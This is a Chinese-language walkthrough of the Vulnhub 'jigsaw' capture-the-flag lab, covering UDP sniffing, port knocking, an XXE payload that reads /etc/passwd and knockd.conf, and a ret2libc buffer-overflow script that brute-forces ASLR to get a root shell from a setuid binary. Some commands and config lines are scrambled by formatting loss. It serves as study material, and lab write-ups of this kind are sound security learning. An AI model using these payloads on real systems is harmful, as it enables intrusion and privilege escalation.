去年做过一个叫jigsaw的靶机,当时太菜了没有没搞进去,最后是按照WriteUp操作的,这个靶机涉及的知识和技巧让我印象深刻。所以打算再次尝试下,主要还是想把自己上次没做的笔记给补回来,方便以后自己再回过头来学习。笔记PWN部分参照了老外的WP。
靶机IP:192.168.88.140(Virtualbox 桥接方式)
攻击机:192.168.8.87(Ubuntu 19.10)
靶机难度:高级
去年做这个靶机的时候,首先用nmap tcp/udp扫描了全端口,扫描结果等了很久很久,但一无所获,当时问了问通关的同事,说是使用wireshark抓下UDP包能看到有用的东西。
我使用以下语法筛选了所有包含靶机ip的upd包,看到了靶机广播发包,目的端口是666
ip.addr==192.168.88.140 && udp
到这一步我还是比较懵比,同事提示我,使用udp方式连接目标靶机666端口,并发送字符串j19s4w,之后回显的字符串我用base64解了一下码,得到了第一个flag
airevan@Eternal:~$ ncat -u 192.168.88.140 666
j19s4w
ZmxhZzF7MzAzNGNjMjkyN2I1OWUwYjIwNjk2MjQxZjE0ZDU3M2V9CllvdSBjb21wbGV0ZWQgeW91ciBmaXJzdCB0ZXN0LiBOb3cga25vY2sgdGhlc2UgbnVtYmVycyB0byBmaW5kIHdoYXQgeW91IHNlZWsuIDU1MDAgNjYwMCA3NzAw
^C
airevan@Eternal:~$ base64 -d
ZmxhZzF7MzAzNGNjMjkyN2I1OWUwYjIwNjk2MjQxZjE0ZDU3M2V9CllvdSBjb21wbGV0ZWQgeW91ciBmaXJzdCB0ZXN0LiBOb3cga25vY2sgdGhlc2UgbnVtYmVycyB0byBmaW5kIHdoYXQgeW91IHNlZWsuIDU1MDAgNjYwMCA3NzAw
flag1{3034cc2927b59e0b20696241f14d573e}
You completed your first test. Now knock these numbers to find what you seek. 5500 6600 7700airevan@Eternal:~$
解码后末尾的一段话让我陷入了深思,我(查)深(过)思(百)熟(度)虑后得知knock是个工具,可以防止开放的端口被探测到,简单来说按你设定好的顺序连续敲一系列端口,服务器那边就会执行一个你定义的脚本,比如开放 ftp 服务器。按另一个顺序敲门,就可以把 ftp 服务器关闭。
我在攻击机安装了knockd后执行了以下命令,解锁了某个隐藏的端口
~$ knock -v 192.168.88.140 5500 6600 7700 :
hitting tcp 192.168.88.140:5500
hitting tcp 192.168.88.140:6600
hitting tcp 192.168.88.140:7700
也可以通过namp来解锁定义的端口,只要依次向配置文件/etc/knockd.conf中定义的端口发送相应匹配tcpflags的请求即可。
for knock in 5500 6600 7700; do nmap -Pn --host-timeout 201 --max-retries 0 -p $knock 192.168.88.140;done
此时再次进行端口扫描可以探测到目标开启了80端口
~$ nmap -sV -T4 192.168.88.140 :
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-28 19:22 CST
Nmap scan report for 192.168.88.140
Host is up (0.0055s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
open http Apache httpd 2.4.7 ((Ubuntu))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.92 seconds
首页是个gif图片,gobuster扫了一下什么都没有。
把gif下载下来之后,使用xxd把图片内容以16进制列出来,在ASCII列末尾可以看到一个路径
访问之后可以看到一个登录页面,此处存在XXE漏洞
构造payload:
"1.0" encoding="UTF-8" xml version=
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<email>&xxe;</email>
<password>123456</password>
</root>
可以看到靶机的/etc/passwd文件中允许登录的用户只有root和jigsaw
构造payload读取knockd.conf默认的配置文件
:
[openSSH] //定义的配置名称
7011,8011,9011 //依次定义的端口 =
5 //超时(秒) =
//command对应的是sequence匹配时执行的命令
command = /sbin/iptables -I INPUT 1 -s %IP% -p tcp --dport 22 -j ACCEPT
syn //SYN =
再次使用knock解锁靶机ssh端口。
~$ knock -v 192.168.88.140 7011 8011 9011 :
hitting tcp 192.168.88.140:7011
hitting tcp 192.168.88.140:8011
9011 :
随后爆了一下root和jigsaw用户的密码,但没爆出来,看了下WP,用户jigsaw的密码是j19s4w,在靶机广播包里。
试了试成功登录,在home目录下发现了第二个flag
airevan@Eternal:~$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 4.4.0-146-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Sun Mar 29 00:57:05 CDT 2020
jigsaw@jigsaw:~$ id
uid=1000(jigsaw) gid=1000(jigsaw) groups=1000(jigsaw)
jigsaw@jigsaw:~$ ls
y0ud1dw3118u7175n070v32.txt
jigsaw@jigsaw:~$ cat y0ud1dw3118u7175n070v32.txt
flag2{a69ef5c0fa50b933f05a5878a9cbbb54}
Hack or fail. Make your choice... Now comes your final test.
jigsaw@jigsaw:~$
登录后使用find命令查找带S权限的文件,可以看到在/bin目录下有个game3的二进制文件
jigsawtype f 2>/dev/null :~$ find / -perm -u=s -
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/mtr
/usr/bin/pkexec
/usr/bin/passwd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/sbin/uuidd
/usr/sbin/pppd
/bin/su
/bin/ping6
/bin/fusermount
/bin/umount
/bin/game3
/bin/mount
/bin/ping
是个32位的程序,运行后会输出如下内容,虽然不知道是什么意思,但感觉很厉害的样子。
jigsaw@jigsaw:~$ game3
game3: Most people are so ungrateful to be a hacker, but not you, not any more...
jigsaw@jigsaw:~$ file /bin/game3
/bin/game3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=affd50502e973bd3d6d0637028395d87ba695ab9, not stripped
丢进IDA里瞅了瞅,文件的逻辑很简单
很明显,当运行程序传入参数时,strcpy函数存在栈溢出漏洞,
我PWN是个小白,我还是能躲就躲吧,先找找看有什么漏洞能把权限提上去的。
传了个脚本用来检测当前系统可能存在的漏洞,试了几个,都没有利用成功,靶机可能都不受影响
https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.s
没办法了,其他方式提不上去了,只能硬杠了,用pwntools工具的cyclic生成200个字符串,计算输入从缓冲区覆盖到EIP的偏移
cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
airevan@Eternal:~$ cyclic -l taaa
76
生成76个字符串,测试ABCD是否能准确覆盖到EIP
airevan@Eternal:~$ python -c "print ('A'*76)+'ABCD'"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
本打算自己尝试一下的,但是发觉当前是个低权限,关不掉ASLR,一时也没什么思路,看了看老外写的WP,利用了该程序运行时所需的共享库libc.so.6,我自己看的也不是很明白,这里就直接引用一下吧(作者已知情)
ldd /bin/game3 | grep libc #程序调用的动态链接库
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system #显示符号表段中的项
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
现在已经获得了以下地址
Libc Base Addr: 0xb755f000
Libc System Addr: 0x00040310
Libc Exit Addr: 0x00033260
Libc /bin/sh Addr: 0x00162d4c
构造EXP:
from subprocess import call
import struct
base_addr = 0xb755f000
sys_addr = struct.pack("<I", base_addr+0x00040310)
exit_addr = struct.pack("<I", base_addr+0x00033260)
shell_addr = struct.pack("<I", base_addr+0x00162d4c)
buf = "A"*76
buf += sys_addr
buf += exit_addr
buf += shell_addr
i = 0
while(i<512):
i += 1
ret = call(["/bin/game3", buf])
执行后在当前目录的txt文件中包含有flag
接触到vulnhub尝试过几个靶机之后,学到了很多新的技巧,同时也发觉自己太菜了,要学的东西实在是太多了。
# Reference
(WriteUp):https://mzfr.github.io/vulnhub-writeups/2019-07-02-Vulnhub-Jigsaw.html
(WriteUp):https://medium.com/@mrhenrike/vulnhub-jigsaw-1-walkthrough-179e279f591a
(Knock工具使用):https://zeroflux.org/projects/knock
原文始发于微信公众号(云黑客):Vulnhub笔记-jigsaw
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论